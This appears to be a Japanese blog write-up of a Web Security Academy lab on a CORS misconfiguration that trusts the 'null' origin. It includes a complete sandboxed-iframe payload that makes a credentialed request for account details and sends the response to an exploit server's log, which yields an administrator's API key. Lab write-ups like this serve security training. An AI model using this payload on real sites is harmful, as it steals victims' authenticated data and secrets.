Shikata Ga Nai

Private? There is no such things.

CORS vulnerability with trusted null originをやってみた

Hello there, ('ω')ノ

 

 信頼できるヌルオリジンによるCORSの脆弱性を。 

「null」オリジンを信頼するという点で安全でないCORS構成があって。

 

まずは、ログインして、マイアカウントをクリックして。

 

f:id:ThisIsOne:20210321135858p:plain

 

該当するリクエストは、/accountDetailsへのAJAXリクエストを介して取得されて。

レスポンスにCORSをサポートする可能性があることを示唆する。

Access-Control-Allow-Credentialsヘッダが含まれていて。

 

f:id:ThisIsOne:20210321140024p:plain

 

リクエストをリピータへ。

Origin:nullを使用してSendすると。

Access-Control-Allow-Originヘッダにnullが反映されるので。

 

f:id:ThisIsOne:20210321140314p:plain

 

エクスプロイトサーバで、下記を入力して。

まずは、nullオリジンリクエストを生成するため、iframeサンドボックスを使用して。

sandbox="" を追加してコンテンツにセキュリティ上の制限をかけて。

 allow-scripts:スクリプトの実行を許可

 allow-top-navigation:最上位のウィンドウの操作を許可

 allow-forms:フォームの送信を許可

 

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>

 

HTTP リクエストを送るに、 XMLHttpRequest オブジェクトを作成して。
var req = new XMLHttpRequest ();

 

生成したオブジェクトをonload属性に割り当てて。
req.onload = reqListener;

 

HTTPのGETメソッドとアクセスする場所を非同期で指定して。
req.open('get','https://acf91ff51e8853308036153700dc00d1.web-security-academy.net/accountDetails',true);

 

trueでリクエストに認証情報を含めて。
req.withCredentials = true;

 

エクスプロイトサーバーにアップロードして。
req.send();

function reqListener() {
location='https://ac1d1f671e3453f88064152f01b70009.web-security-academy.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

 

Storeして、View exploitをクリックして。

 

f:id:ThisIsOne:20210321153005p:plain


エクスプロイトが機能することを確認して。

Deliver exploit to victimをクリックして。

 

f:id:ThisIsOne:20210321141011p:plain

 

Administratorに該当するログをコピーして。

 

f:id:ThisIsOne:20210321141200p:plain

 

デコードして。

 

f:id:ThisIsOne:20210321141300p:plain

 

下記のAPIキーを入力すると。

 cgCvRagZmcIn9ywIlbeK48BOKTluAkQz

f:id:ThisIsOne:20210321141341p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210321141359p:plain


Best regards, (^^ゞ